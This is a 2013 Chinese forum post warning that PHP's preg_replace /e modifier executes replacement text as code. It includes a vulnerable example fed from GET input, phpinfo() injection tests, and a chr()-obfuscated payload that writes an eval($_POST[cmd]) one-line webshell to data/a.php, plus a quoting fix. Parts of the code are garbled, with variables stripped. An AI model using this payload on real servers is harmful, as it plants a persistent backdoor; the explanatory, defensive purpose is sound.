欧卡2中文社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

需要三步,才能开始

只需两步,慢速开始

查看: 6096|回复: 0
收起左侧

[编程] 慎用preg_replace的e修饰符

[复制链接]
知行 发表于 2013-7-15 21:23 | 显示全部楼层 |阅读模式
慎用preg_replace危险的/e修饰符(一句话后门常用)



preg_replace函数原型:


mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])


特别说明:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

举例:




<?php

preg_replace ("/(</?)(w+)([^>]*>)/e",

"\1.strtoupper(\2).\3",

htmlbody);?>使HTMLsubject<?echopregreplace("/test/e",_GET["h"],"jutst test");

?>


如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

如果我们提交下面的代码会怎么样呢?

?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).

chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).

chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).

chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval(POST[cmd])?>);/data/a.php<?functiontest(str)

{

}

echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', GET["h"]);?>?h=[php]phpinfo()[/php]phpinfo()replacementtest(phpinfo)phpinfo?h=[php]$phpinfo()[/php]phpinfo()phpphp$test($phpinfo()){phpinfo()}会被解释执行)。

可以先做如下测试:




echo "{{phpinfo()}}"; 
  
  
phpinfo会被成功执行了。 
  
  
如何防范这种漏洞呢? 
  
将’test(“\1″)’ 修改为”test(‘\1′)”,这样‘
{phpinfo()}’就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

客服QQ936487697|联系我们|手机版|欧卡2中国 ( 湘ICP备11020288号-1 )

GMT+8, 2025-6-6 23:10 , Processed in 0.092686 second(s), 9 queries , Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表